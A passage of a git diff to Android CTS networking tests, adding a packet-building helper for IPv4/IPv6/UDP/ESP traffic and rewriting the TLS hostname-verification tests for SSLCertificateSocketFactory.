diff --git a/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java b/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
index 8ad7820..e4e350c 100644
--- a/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
+++ b/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
@@ -23,6 +23,7 @@
 
 import android.content.Context;
 import android.net.ConnectivityManager;
+import android.platform.test.annotations.AppModeFull;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
 
@@ -97,6 +98,7 @@
      * returns the hash of config we set.
      */
     @Test
+    @AppModeFull(reason = "Cannot access resource file in instant app mode")
     public void testGetWatchlistConfigHash() throws Exception {
         // Set watchlist config file for test
         setWatchlistConfig(TEST_WATCHLIST_XML);
diff --git a/tests/tests/net/src/android/net/cts/PacketUtils.java b/tests/tests/net/src/android/net/cts/PacketUtils.java
new file mode 100644
index 0000000..6177827
--- /dev/null
+++ b/tests/tests/net/src/android/net/cts/PacketUtils.java
@@ -0,0 +1,460 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts;
+
+import static android.system.OsConstants.IPPROTO_IPV6;
+import static android.system.OsConstants.IPPROTO_UDP;
+
+import java.net.Inet4Address;
+import java.net.Inet6Address;
+import java.net.InetAddress;
+import java.nio.ByteBuffer;
+import java.nio.ShortBuffer;
+import java.security.GeneralSecurityException;
+import java.security.SecureRandom;
+import java.util.Arrays;
+import javax.crypto.Cipher;
+import javax.crypto.Mac;
+import javax.crypto.spec.IvParameterSpec;
+import javax.crypto.spec.SecretKeySpec;
+
+public class PacketUtils {
+    private static final String TAG = PacketUtils.class.getSimpleName();
+
+    private static final int DATA_BUFFER_LEN = 4096;
+
+    static final int IP4_HDRLEN = 20;
+    static final int IP6_HDRLEN = 40;
+    static final int UDP_HDRLEN = 8;
+    static final int TCP_HDRLEN = 20;
+    static final int TCP_HDRLEN_WITH_TIMESTAMP_OPT = TCP_HDRLEN + 12;
+
+    // Not defined in OsConstants
+    static final int IPPROTO_IPV4 = 4;
+    static final int IPPROTO_ESP = 50;
+
+    // Encryption parameters
+    static final int AES_GCM_IV_LEN = 8;
+    static final int AES_CBC_IV_LEN = 16;
+    static final int AES_GCM_BLK_SIZE = 4;
+    static final int AES_CBC_BLK_SIZE = 16;
+
+    // Encryption algorithms
+    static final String AES = "AES";
+    static final String AES_CBC = "AES/CBC/NoPadding";
+    static final String HMAC_SHA_256 = "HmacSHA256";
+
+    public interface Payload {
+        byte[] getPacketBytes(IpHeader header) throws Exception;
+
+        void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) throws Exception;
+
+        short length();
+
+        int getProtocolId();
+    }
+
+    public abstract static class IpHeader {
+
+        public final byte proto;
+        public final InetAddress srcAddr;
+        public final InetAddress dstAddr;
+        public final Payload payload;
+
+        public IpHeader(int proto, InetAddress src, InetAddress dst, Payload payload) {
+            this.proto = (byte) proto;
+            this.srcAddr = src;
+            this.dstAddr = dst;
+            this.payload = payload;
+        }
+
+        public abstract byte[] getPacketBytes() throws Exception;
+
+        public abstract int getProtocolId();
+    }
+
+    public static class Ip4Header extends IpHeader {
+        private short checksum;
+
+        public Ip4Header(int proto, Inet4Address src, Inet4Address dst, Payload payload) {
+            super(proto, src, dst, payload);
+        }
+
+        public byte[] getPacketBytes() throws Exception {
+            ByteBuffer resultBuffer = buildHeader();
+            payload.addPacketBytes(this, resultBuffer);
+
+            return getByteArrayFromBuffer(resultBuffer);
+        }
+
+        public ByteBuffer buildHeader() {
+            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
+
+            // Version, IHL
+            bb.put((byte) (0x45));
+
+            // DCSP, ECN
+            bb.put((byte) 0);
+
+            // Total Length
+            bb.putShort((short) (IP4_HDRLEN + payload.length()));
+
+            // Empty for Identification, Flags and Fragment Offset
+            bb.putShort((short) 0);
+            bb.put((byte) 0x40);
+            bb.put((byte) 0x00);
+
+            // TTL
+            bb.put((byte) 64);
+
+            // Protocol
+            bb.put(proto);
+
+            // Header Checksum
+            final int ipChecksumOffset = bb.position();
+            bb.putShort((short) 0);
+
+            // Src/Dst addresses
+            bb.put(srcAddr.getAddress());
+            bb.put(dstAddr.getAddress());
+
+            bb.putShort(ipChecksumOffset, calculateChecksum(bb));
+
+            return bb;
+        }
+
+        private short calculateChecksum(ByteBuffer bb) {
+            int checksum = 0;
+
+            // Calculate sum of 16-bit values, excluding checksum. IPv4 headers are always 32-bit
+            // aligned, so no special cases needed for unaligned values.
+            ShortBuffer shortBuffer = ByteBuffer.wrap(getByteArrayFromBuffer(bb)).asShortBuffer();
+            while (shortBuffer.hasRemaining()) {
+                short val = shortBuffer.get();
+
+                // Wrap as needed
+                checksum = addAndWrapForChecksum(checksum, val);
+            }
+
+            return onesComplement(checksum);
+        }
+
+        public int getProtocolId() {
+            return IPPROTO_IPV4;
+        }
+    }
+
+    public static class Ip6Header extends IpHeader {
+        public Ip6Header(int nextHeader, Inet6Address src, Inet6Address dst, Payload payload) {
+            super(nextHeader, src, dst, payload);
+        }
+
+        public byte[] getPacketBytes() throws Exception {
+            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
+
+            // Version | Traffic Class (First 4 bits)
+            bb.put((byte) 0x60);
+
+            // Traffic class (Last 4 bits), Flow Label
+            bb.put((byte) 0);
+            bb.put((byte) 0);
+            bb.put((byte) 0);
+
+            // Payload Length
+            bb.putShort((short) payload.length());
+
+            // Next Header
+            bb.put(proto);
+
+            // Hop Limit
+            bb.put((byte) 64);
+
+            // Src/Dst addresses
+            bb.put(srcAddr.getAddress());
+            bb.put(dstAddr.getAddress());
+
+            // Payload
+            payload.addPacketBytes(this, bb);
+
+            return getByteArrayFromBuffer(bb);
+        }
+
+        public int getProtocolId() {
+            return IPPROTO_IPV6;
+        }
+    }
+
+    public static class BytePayload implements Payload {
+        public final byte[] payload;
+
+        public BytePayload(byte[] payload) {
+            this.payload = payload;
+        }
+
+        public int getProtocolId() {
+            return -1;
+        }
+
+        public byte[] getPacketBytes(IpHeader header) {
+            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
+
+            addPacketBytes(header, bb);
+            return getByteArrayFromBuffer(bb);
+        }
+
+        public void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) {
+            resultBuffer.put(payload);
+        }
+
+        public short length() {
+            return (short) payload.length;
+        }
+    }
+
+    public static class UdpHeader implements Payload {
+
+        public final short srcPort;
+        public final short dstPort;
+        public final Payload payload;
+
+        public UdpHeader(int srcPort, int dstPort, Payload payload) {
+            this.srcPort = (short) srcPort;
+            this.dstPort = (short) dstPort;
+            this.payload = payload;
+        }
+
+        public int getProtocolId() {
+            return IPPROTO_UDP;
+        }
+
+        public short length() {
+            return (short) (payload.length() + 8);
+        }
+
+        public byte[] getPacketBytes(IpHeader header) throws Exception {
+            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
+
+            addPacketBytes(header, bb);
+            return getByteArrayFromBuffer(bb);
+        }
+
+        public void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) throws Exception {
+            // Source, Destination port
+            resultBuffer.putShort(srcPort);
+            resultBuffer.putShort(dstPort);
+
+            // Payload Length
+            resultBuffer.putShort(length());
+
+            // Get payload bytes for checksum + payload
+            ByteBuffer payloadBuffer = ByteBuffer.allocate(DATA_BUFFER_LEN);
+            payload.addPacketBytes(header, payloadBuffer);
+            byte[] payloadBytes = getByteArrayFromBuffer(payloadBuffer);
+
+            // Checksum
+            resultBuffer.putShort(calculateChecksum(header, payloadBytes));
+
+            // Payload
+            resultBuffer.put(payloadBytes);
+        }
+
+        private short calculateChecksum(IpHeader header, byte[] payloadBytes) throws Exception {
+            int newChecksum = 0;
+            ShortBuffer srcBuffer = ByteBuffer.wrap(header.srcAddr.getAddress()).asShortBuffer();
+            ShortBuffer dstBuffer = ByteBuffer.wrap(header.dstAddr.getAddress()).asShortBuffer();
+
+            while (srcBuffer.hasRemaining() || dstBuffer.hasRemaining()) {
+                short val = srcBuffer.hasRemaining() ? srcBuffer.get() : dstBuffer.get();
+
+                // Wrap as needed
+                newChecksum = addAndWrapForChecksum(newChecksum, val);
+            }
+
+            // Add pseudo-header values. Proto is 0-padded, so just use the byte.
+            newChecksum = addAndWrapForChecksum(newChecksum, header.proto);
+            newChecksum = addAndWrapForChecksum(newChecksum, length());
+            newChecksum = addAndWrapForChecksum(newChecksum, srcPort);
+            newChecksum = addAndWrapForChecksum(newChecksum, dstPort);
+            newChecksum = addAndWrapForChecksum(newChecksum, length());
+
+            ShortBuffer payloadShortBuffer = ByteBuffer.wrap(payloadBytes).asShortBuffer();
+            while (payloadShortBuffer.hasRemaining()) {
+                newChecksum = addAndWrapForChecksum(newChecksum, payloadShortBuffer.get());
+            }
+            if (payload.length() % 2 != 0) {
+                newChecksum =
+                        addAndWrapForChecksum(
+                                newChecksum, (payloadBytes[payloadBytes.length - 1] << 8));
+            }
+
+            return onesComplement(newChecksum);
+        }
+    }
+
+    public static class EspHeader implements Payload {
+        public final int nextHeader;
+        public final int spi;
+        public final int seqNum;
+        public final byte[] key;
+        public final byte[] payload;
+
+        /**
+         * Generic constructor for ESP headers.
+         *
+         * <p>For Tunnel mode, payload will be a full IP header + attached payloads
+         *
+         * <p>For Transport mode, payload will be only the attached payloads, but with the checksum
+         * calculated using the pre-encryption IP header
+         */
+        public EspHeader(int nextHeader, int spi, int seqNum, byte[] key, byte[] payload) {
+            this.nextHeader = nextHeader;
+            this.spi = spi;
+            this.seqNum = seqNum;
+            this.key = key;
+            this.payload = payload;
+        }
+
+        public int getProtocolId() {
+            return IPPROTO_ESP;
+        }
+
+        public short length() {
+            // ALWAYS uses AES-CBC, HMAC-SHA256 (128b trunc len)
+            return (short)
+                    calculateEspPacketSize(payload.length, AES_CBC_IV_LEN, AES_CBC_BLK_SIZE, 128);
+        }
+
+        public byte[] getPacketBytes(IpHeader header) throws Exception {
+            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
+
+            addPacketBytes(header, bb);
+            return getByteArrayFromBuffer(bb);
+        }
+
+        public void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) throws Exception {
+            ByteBuffer espPayloadBuffer = ByteBuffer.allocate(DATA_BUFFER_LEN);
+            espPayloadBuffer.putInt(spi);
+            espPayloadBuffer.putInt(seqNum);
+            espPayloadBuffer.put(getCiphertext(key));
+
+            espPayloadBuffer.put(getIcv(getByteArrayFromBuffer(espPayloadBuffer)), 0, 16);
+            resultBuffer.put(getByteArrayFromBuffer(espPayloadBuffer));
+        }
+
+        private byte[] getIcv(byte[] authenticatedSection) throws GeneralSecurityException {
+            Mac sha256HMAC = Mac.getInstance(HMAC_SHA_256);
+            SecretKeySpec authKey = new SecretKeySpec(key, HMAC_SHA_256);
+            sha256HMAC.init(authKey);
+
+            return sha256HMAC.doFinal(authenticatedSection);
+        }
+
+        /**
+         * Encrypts and builds ciphertext block. Includes the IV, Padding and Next-Header blocks
+         *
+         * <p>The ciphertext does NOT include the SPI/Sequence numbers, or the ICV.
+         */
+        private byte[] getCiphertext(byte[] key) throws GeneralSecurityException {
+            int paddedLen = calculateEspEncryptedLength(payload.length, AES_CBC_BLK_SIZE);
+            ByteBuffer paddedPayload = ByteBuffer.allocate(paddedLen);
+            paddedPayload.put(payload);
+
+            // Add padding - consecutive integers from 0x01
+            int pad = 1;
+            while (paddedPayload.position() < paddedPayload.limit()) {
+                paddedPayload.put((byte) pad++);
+            }
+
+            paddedPayload.position(paddedPayload.limit() - 2);
+            paddedPayload.put((byte) (paddedLen - 2 - payload.length)); // Pad length
+            paddedPayload.put((byte) nextHeader);
+
+            // Generate Initialization Vector
+            byte[] iv = new byte[AES_CBC_IV_LEN];
+            new SecureRandom().nextBytes(iv);
+            IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
+            SecretKeySpec secretKeySpec = new SecretKeySpec(key, AES);
+
+            // Encrypt payload
+            Cipher cipher = Cipher.getInstance(AES_CBC);
+            cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivParameterSpec);
+            byte[] encrypted = cipher.doFinal(getByteArrayFromBuffer(paddedPayload));
+
+            // Build ciphertext
+            ByteBuffer cipherText = ByteBuffer.allocate(AES_CBC_IV_LEN + encrypted.length);
+            cipherText.put(iv);
+            cipherText.put(encrypted);
+
+            return getByteArrayFromBuffer(cipherText);
+        }
+    }
+
+    private static int addAndWrapForChecksum(int currentChecksum, int value) {
+        currentChecksum += value & 0x0000ffff;
+
+        // Wrap anything beyond the first 16 bits, and add to lower order bits
+        return (currentChecksum >>> 16) + (currentChecksum & 0x0000ffff);
+    }
+
+    private static short onesComplement(int val) {
+        val = (val >>> 16) + (val & 0xffff);
+
+        if (val == 0) return 0;
+        return (short) ((~val) & 0xffff);
+    }
+
+    public static int calculateEspPacketSize(
+            int payloadLen, int cryptIvLength, int cryptBlockSize, int authTruncLen) {
+        final int ESP_HDRLEN = 4 + 4; // SPI + Seq#
+        final int ICV_LEN = authTruncLen / 8; // Auth trailer; based on truncation length
+        payloadLen += cryptIvLength; // Initialization Vector
+
+        // Align to block size of encryption algorithm
+        payloadLen = calculateEspEncryptedLength(payloadLen, cryptBlockSize);
+        return payloadLen + ESP_HDRLEN + ICV_LEN;
+    }
+
+    private static int calculateEspEncryptedLength(int payloadLen, int cryptBlockSize) {
+        payloadLen += 2; // ESP trailer
+
+        // Align to block size of encryption algorithm
+        return payloadLen + calculateEspPadLen(payloadLen, cryptBlockSize);
+    }
+
+    private static int calculateEspPadLen(int payloadLen, int cryptBlockSize) {
+        return (cryptBlockSize - (payloadLen % cryptBlockSize)) % cryptBlockSize;
+    }
+
+    private static byte[] getByteArrayFromBuffer(ByteBuffer buffer) {
+        return Arrays.copyOfRange(buffer.array(), 0, buffer.position());
+    }
+
+    /*
+     * Debug printing
+     */
+    private static final char[] hexArray = "0123456789ABCDEF".toCharArray();
+
+    public static String bytesToHex(byte[] bytes) {
+        StringBuilder sb = new StringBuilder();
+        for (byte b : bytes) {
+            sb.append(hexArray[b >>> 4]);
+            sb.append(hexArray[b & 0x0F]);
+            sb.append(' ');
+        }
+        return sb.toString();
+    }
+}
diff --git a/tests/tests/net/src/android/net/cts/SSLCertificateSocketFactoryTest.java b/tests/tests/net/src/android/net/cts/SSLCertificateSocketFactoryTest.java
index 60ac226..cbe54f8 100644
--- a/tests/tests/net/src/android/net/cts/SSLCertificateSocketFactoryTest.java
+++ b/tests/tests/net/src/android/net/cts/SSLCertificateSocketFactoryTest.java
@@ -16,131 +16,333 @@
 
 package android.net.cts;
 
-import java.io.IOException;
-import java.net.InetAddress;
-import java.net.Socket;
-
-import javax.net.SocketFactory;
-import javax.net.ssl.SSLPeerUnverifiedException;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.net.SSLCertificateSocketFactory;
-import android.test.AndroidTestCase;
-
+import android.platform.test.annotations.AppModeFull;
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.net.SocketAddress;
+import java.net.UnknownHostException;
+import java.util.Arrays;
+import java.util.List;
+import java.util.stream.Collectors;
+import javax.net.ssl.HostnameVerifier;
+import javax.net.ssl.HttpsURLConnection;
+import javax.net.ssl.SSLPeerUnverifiedException;
+import javax.net.ssl.SSLSession;
 import libcore.javax.net.ssl.SSLConfigurationAsserts;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
 
-public class SSLCertificateSocketFactoryTest extends AndroidTestCase {
-    private SSLCertificateSocketFactory mFactory;
-    private int mTimeout;
+@RunWith(JUnit4.class)
+public class SSLCertificateSocketFactoryTest {
+    // TEST_HOST should point to a web server with a valid TLS certificate.
+    private static final String TEST_HOST = "www.google.com";
+    private static final int HTTPS_PORT = 443;
+    private HostnameVerifier mDefaultVerifier;
+    private SSLCertificateSocketFactory mSocketFactory;
+    private InetAddress mLocalAddress;
+    // InetAddress obtained by resolving TEST_HOST.
+    private InetAddress mTestHostAddress;
+    // SocketAddress combining mTestHostAddress and HTTPS_PORT.
+    private List<SocketAddress> mTestSocketAddresses;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mTimeout = 1000;
-        mFactory = (SSLCertificateSocketFactory) SSLCertificateSocketFactory.getDefault(mTimeout);
+    @Before
+    public void setUp() {
+        // Expected state before each test method is that
+        // HttpsURLConnection.getDefaultHostnameVerifier() will return the system default.
+        mDefaultVerifier = HttpsURLConnection.getDefaultHostnameVerifier();
+        mSocketFactory = (SSLCertificateSocketFactory)
+            SSLCertificateSocketFactory.getDefault(1000 /* handshakeTimeoutMillis */);
+        assertNotNull(mSocketFactory);
+        InetAddress[] addresses;
+        try {
+            addresses = InetAddress.getAllByName(TEST_HOST);
+            mTestHostAddress = addresses[0];
+        } catch (UnknownHostException uhe) {
+            throw new AssertionError(
+                "Unable to test SSLCertificateSocketFactory: cannot resolve " + TEST_HOST, uhe);
+        }
+
+        mTestSocketAddresses = Arrays.stream(addresses)
+            .map(addr -> new InetSocketAddress(addr, HTTPS_PORT))
+            .collect(Collectors.toList());
+
+        // Find the local IP address which will be used to connect to TEST_HOST.
+        try {
+            Socket testSocket = new Socket(TEST_HOST, HTTPS_PORT);
+            mLocalAddress = testSocket.getLocalAddress();
+            testSocket.close();
+        } catch (IOException ioe) {
+            throw new AssertionError(""
+                + "Unable to test SSLCertificateSocketFactory: cannot connect to "
+                + TEST_HOST, ioe);
+        }
     }
 
+    // Restore the system default hostname verifier after each test.
+    @After
+    public void restoreDefaultHostnameVerifier() {
+        HttpsURLConnection.setDefaultHostnameVerifier(mDefaultVerifier);
+    }
+
+    @Test
     public void testDefaultConfiguration() throws Exception {
-        SSLConfigurationAsserts.assertSSLSocketFactoryDefaultConfiguration(mFactory);
+        SSLConfigurationAsserts.assertSSLSocketFactoryDefaultConfiguration(mSocketFactory);
     }
 
-    public void testAccessProperties() throws Exception {
-        mFactory.getSupportedCipherSuites();
-        mFactory.getDefaultCipherSuites();
-        SocketFactory sf = SSLCertificateSocketFactory.getDefault(mTimeout);
-        assertNotNull(sf);
+    @Test
+    public void testAccessProperties() {
+        mSocketFactory.getSupportedCipherSuites();
+        mSocketFactory.getDefaultCipherSuites();
     }
 
-    public void testCreateSocket() throws Exception {
-        new SSLCertificateSocketFactory(100);
-        int port = 443;
-        String host = "www.google.com";
-        InetAddress inetAddress = null;
-        inetAddress = InetAddress.getLocalHost();
+    /**
+     * Tests the {@code createSocket()} cases which are expected to fail with {@code IOException}.
+     */
+    @Test
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
+    public void createSocket_io_error_expected() {
+        // Connect to the localhost HTTPS port. Should result in connection refused IOException
+        // because no service should be listening on that port.
+        InetAddress localhostAddress = InetAddress.getLoopbackAddress();
         try {
-            mFactory.createSocket(inetAddress, port);
-            fail("should throw exception!");
+            mSocketFactory.createSocket(localhostAddress, HTTPS_PORT);
+            fail();
         } catch (IOException e) {
             // expected
         }
 
+        // Same, but also binding to a local address.
         try {
-            InetAddress inetAddress1 = InetAddress.getLocalHost();
-            InetAddress inetAddress2 = InetAddress.getLocalHost();
-            mFactory.createSocket(inetAddress1, port, inetAddress2, port);
-            fail("should throw exception!");
+            mSocketFactory.createSocket(localhostAddress, HTTPS_PORT, localhostAddress, 0);
+            fail();
         } catch (IOException e) {
             // expected
         }
 
+        // Same, wrapping an existing plain socket which is in an unconnected state.
         try {
             Socket socket = new Socket();
-            mFactory.createSocket(socket, host, port, true);
-            fail("should throw exception!");
+            mSocketFactory.createSocket(socket, "localhost", HTTPS_PORT, true);
+            fail();
         } catch (IOException e) {
             // expected
         }
-        Socket socket = null;
-        socket = mFactory.createSocket(host, port);
+    }
+
+    /**
+     * Tests hostname verification for
+     * {@link SSLCertificateSocketFactory#createSocket(String, int)}.
+     *
+     * <p>This method should return a socket which is fully connected (i.e. TLS handshake complete)
+     * and whose peer TLS certificate has been verified to have the correct hostname.
+     *
+     * <p>{@link SSLCertificateSocketFactory} is documented to verify hostnames using
+     * the {@link HostnameVerifier} returned by
+     * {@link HttpsURLConnection#getDefaultHostnameVerifier}, so this test connects twice,
+     * once with the system default {@link HostnameVerifier} which is expected to succeed,
+     * and once after installing a {@link NegativeHostnameVerifier} which will cause
+     * {@link SSLCertificateSocketFactory#verifyHostname} to throw a
+     * {@link SSLPeerUnverifiedException}.
+     *
+     * <p>These tests only test the hostname verification logic in SSLCertificateSocketFactory,
+     * other TLS failure modes and the default HostnameVerifier are tested elsewhere, see
+     * {@link com.squareup.okhttp.internal.tls.HostnameVerifierTest} and
+     * https://android.googlesource.com/platform/external/boringssl/+/refs/heads/master/src/ssl/test
+     *
+     * <p>Tests the following behaviour:-
+     * <ul>
+     * <li>TEST_SERVER is available and has a valid TLS certificate
+     * <li>{@code createSocket()} verifies the remote hostname is correct using
+     *     {@link HttpsURLConnection#getDefaultHostnameVerifier}
+     * <li>{@link SSLPeerUnverifiedException} is thrown when the remote hostname is invalid
+     * </ul>
+     *
+     * <p>See also http://b/2807618.
+     */
+    @Test
+    public void createSocket_simple_with_hostname_verification() throws Exception {
+        Socket socket = mSocketFactory.createSocket(TEST_HOST, HTTPS_PORT);
+        assertConnectedSocket(socket);
+        socket.close();
+
+        HttpsURLConnection.setDefaultHostnameVerifier(new NegativeHostnameVerifier());
+        try {
+            mSocketFactory.createSocket(TEST_HOST, HTTPS_PORT);
+            fail();
+        } catch (SSLPeerUnverifiedException expected) {
+            // expected
+        }
+    }
+
+    /**
+     * Tests hostname verification for
+     * {@link SSLCertificateSocketFactory#createSocket(Socket, String, int, boolean)}.
+     *
+     * <p>This method should return a socket which is fully connected (i.e. TLS handshake complete)
+     * and whose peer TLS certificate has been verified to have the correct hostname.
+     *
+     * <p>The TLS socket returned is wrapped around the plain socket passed into
+     * {@code createSocket()}.
+     *
+     * <p>See {@link #createSocket_simple_with_hostname_verification()} for test methodology.
+     */
+    @Test
+    public void createSocket_wrapped_with_hostname_verification() throws Exception {
+        Socket underlying = new Socket(TEST_HOST, HTTPS_PORT);
+        Socket socket = mSocketFactory.createSocket(underlying, TEST_HOST, HTTPS_PORT, true);
+        assertConnectedSocket(socket);
+        socket.close();
+
+        HttpsURLConnection.setDefaultHostnameVerifier(new NegativeHostnameVerifier());
+        try {
+            underlying = new Socket(TEST_HOST, HTTPS_PORT);
+            mSocketFactory.createSocket(underlying, TEST_HOST, HTTPS_PORT, true);
+            fail();
+        } catch (SSLPeerUnverifiedException expected) {
+            // expected
+        }
+    }
+
+    /**
+     * Tests hostname verification for
+     * {@link SSLCertificateSocketFactory#createSocket(String, int, InetAddress, int)}.
+     *
+     * <p>This method should return a socket which is fully connected (i.e. TLS handshake complete)
+     * and whose peer TLS certificate has been verified to have the correct hostname.
+     *
+     * <p>The TLS socket returned is also bound to the local address determined in {@link #setUp} to
+     * be used for connections to TEST_HOST, and a wildcard port.
+     *
+     * <p>See {@link #createSocket_simple_with_hostname_verification()} for test methodology.
+     */
+    @Test
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
+    public void createSocket_bound_with_hostname_verification() throws Exception {
+        Socket socket = mSocketFactory.createSocket(TEST_HOST, HTTPS_PORT, mLocalAddress, 0);
+        assertConnectedSocket(socket);
+        socket.close();
+
+        HttpsURLConnection.setDefaultHostnameVerifier(new NegativeHostnameVerifier());
+        try {
+            mSocketFactory.createSocket(TEST_HOST, HTTPS_PORT, mLocalAddress, 0);
+            fail();
+        } catch (SSLPeerUnverifiedException expected) {
+            // expected
+        }
+    }
+
+    /**
+     * Tests hostname verification for
+     * {@link SSLCertificateSocketFactory#createSocket(InetAddress, int)}.
+     *
+     * <p>This method should return a socket which the documentation describes as "unconnected",
+     * which actually means that the socket is fully connected at the TCP layer but TLS handshaking
+     * and hostname verification have not yet taken place.
+     *
+     * <p>Behaviour is tested by installing a {@link NegativeHostnameVerifier} and by calling
+     * {@link #assertConnectedSocket} to ensure TLS handshaking but no hostname verification takes
+     * place.  Next, {@link SSLCertificateSocketFactory#verifyHostname} is called to ensure
+     * that hostname verification is using the {@link HostnameVerifier} returned by
+     * {@link HttpsURLConnection#getDefaultHostnameVerifier} as documented.
+     *
+     * <p>Tests the following behaviour:-
+     * <ul>
+     * <li>TEST_SERVER is available and has a valid TLS certificate
+     * <li>{@code createSocket()} does not verify the remote hostname
+     * <li>Calling {@link SSLCertificateSocketFactory#verifyHostname} on the returned socket
+     *     throws {@link SSLPeerUnverifiedException} if the remote hostname is invalid
+     * </ul>
+     */
+    @Test
+    public void createSocket_simple_no_hostname_verification() throws Exception{
+        HttpsURLConnection.setDefaultHostnameVerifier(new NegativeHostnameVerifier());
+        Socket socket = mSocketFactory.createSocket(mTestHostAddress, HTTPS_PORT);
+        // Need to provide the expected hostname here or the TLS handshake will
+        // be unable to supply SNI to the remote host.
+        mSocketFactory.setHostname(socket, TEST_HOST);
+        assertConnectedSocket(socket);
+        try {
+          SSLCertificateSocketFactory.verifyHostname(socket, TEST_HOST);
+          fail();
+        } catch (SSLPeerUnverifiedException expected) {
+            // expected
+        }
+        HttpsURLConnection.setDefaultHostnameVerifier(mDefaultVerifier);
+        SSLCertificateSocketFactory.verifyHostname(socket, TEST_HOST);
+        socket.close();
+    }
+
+    /**
+     * Tests hostname verification for
+     * {@link SSLCertificateSocketFactory#createSocket(InetAddress, int, InetAddress, int)}.
+     *
+     * <p>This method should return a socket which the documentation describes as "unconnected",
+     * which actually means that the socket is fully connected at the TCP layer but TLS handshaking
+     * and hostname verification have not yet taken place.
+     *
+     * <p>The TLS socket returned is also bound to the local address determined in {@link #setUp} to
+     * be used for connections to TEST_HOST, and a wildcard port.
+     *
+     * <p>See {@link #createSocket_simple_no_hostname_verification()} for test methodology.
+     */
+    @Test
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
+    public void createSocket_bound_no_hostname_verification() throws Exception{
+        HttpsURLConnection.setDefaultHostnameVerifier(new NegativeHostnameVerifier());
+        Socket socket =
+            mSocketFactory.createSocket(mTestHostAddress, HTTPS_PORT, mLocalAddress, 0);
+        // Need to provide the expected hostname here or the TLS handshake will
+        // be unable to supply SNI to the peer.
+        mSocketFactory.setHostname(socket, TEST_HOST);
+        assertConnectedSocket(socket);
+        try {
+          SSLCertificateSocketFactory.verifyHostname(socket, TEST_HOST);
+          fail();
+        } catch (SSLPeerUnverifiedException expected) {
+            // expected
+        }
+        HttpsURLConnection.setDefaultHostnameVerifier(mDefaultVerifier);
+        SSLCertificateSocketFactory.verifyHostname(socket, TEST_HOST);
+        socket.close();
+    }
+
+    /**
+     * Asserts a socket is fully connected to the expected peer.
+     *
+     * <p>For the variants of createSocket which verify the remote hostname,
+     * {@code socket} should already be fully connected.
+     *
+     * <p>For the non-verifying variants, retrieving the input stream will trigger a TLS handshake
+     * and so may throw an exception, for example if the peer's certificate is invalid.
+     *
+     * <p>Does no hostname verification.
+     */
+    private void assertConnectedSocket(Socket socket) throws Exception {
         assertNotNull(socket);
-        assertNotNull(socket.getOutputStream());
+        assertTrue(socket.isConnected());
         assertNotNull(socket.getInputStream());
-
-        // it throw exception when calling createSocket(String, int, InetAddress, int)
-        // The socket level is invalid.
-    }
-
-    // a host and port that are expected to be available but have
-    // a cert with a different CN, in this case CN=mail.google.com
-    private static String TEST_CREATE_SOCKET_HOST = "googlemail.com";
-    private static int TEST_CREATE_SOCKET_PORT = 443;
-
-    /**
-     * b/2807618 Make sure that hostname verifcation in cases were it
-     * is documented to be included by various
-     * SSLCertificateSocketFactory.createSocket messages.
-     *
-     * NOTE: Test will fail if external server is not available.
-     */
-    public void test_createSocket_simple() throws Exception {
-        try {
-            mFactory.createSocket(TEST_CREATE_SOCKET_HOST, TEST_CREATE_SOCKET_PORT);
-            fail();
-        } catch (SSLPeerUnverifiedException expected) {
-            // expected
-        }
+        assertNotNull(socket.getOutputStream());
+        assertTrue(mTestSocketAddresses.contains(socket.getRemoteSocketAddress()));
     }
 
     /**
-     * b/2807618 Make sure that hostname verifcation in cases were it
-     * is documented to be included by various
-     * SSLCertificateSocketFactory.createSocket messages.
-     *
-     * NOTE: Test will fail if external server is not available.
+     * A HostnameVerifier which always returns false to simulate a server returning a
+     * certificate which does not match the expected hostname.
      */
-    public void test_createSocket_wrapping() throws Exception {
-        try {
-            Socket underlying = new Socket(TEST_CREATE_SOCKET_HOST, TEST_CREATE_SOCKET_PORT);
-            mFactory.createSocket(
-                    underlying, TEST_CREATE_SOCKET_HOST, TEST_CREATE_SOCKET_PORT, true);
-            fail();
-        } catch (SSLPeerUnverifiedException expected) {
-            // expected
-        }
-    }
-
-    /**
-     * b/2807618 Make sure that hostname verifcation in cases were it
-     * is documented to be included by various
-     * SSLCertificateSocketFactory.createSocket messages.
-     *
-     * NOTE: Test will fail if external server is not available.
-     */
-    public void test_createSocket_bind() throws Exception {
-        try {
-            mFactory.createSocket(TEST_CREATE_SOCKET_HOST, TEST_CREATE_SOCKET_PORT, null, 0);
-            fail();
-        } catch (SSLPeerUnverifiedException expected) {
-            // expected
+    private static class NegativeHostnameVerifier implements HostnameVerifier {
+        @Override
+        public boolean verify(String hostname, SSLSession sslSession) {
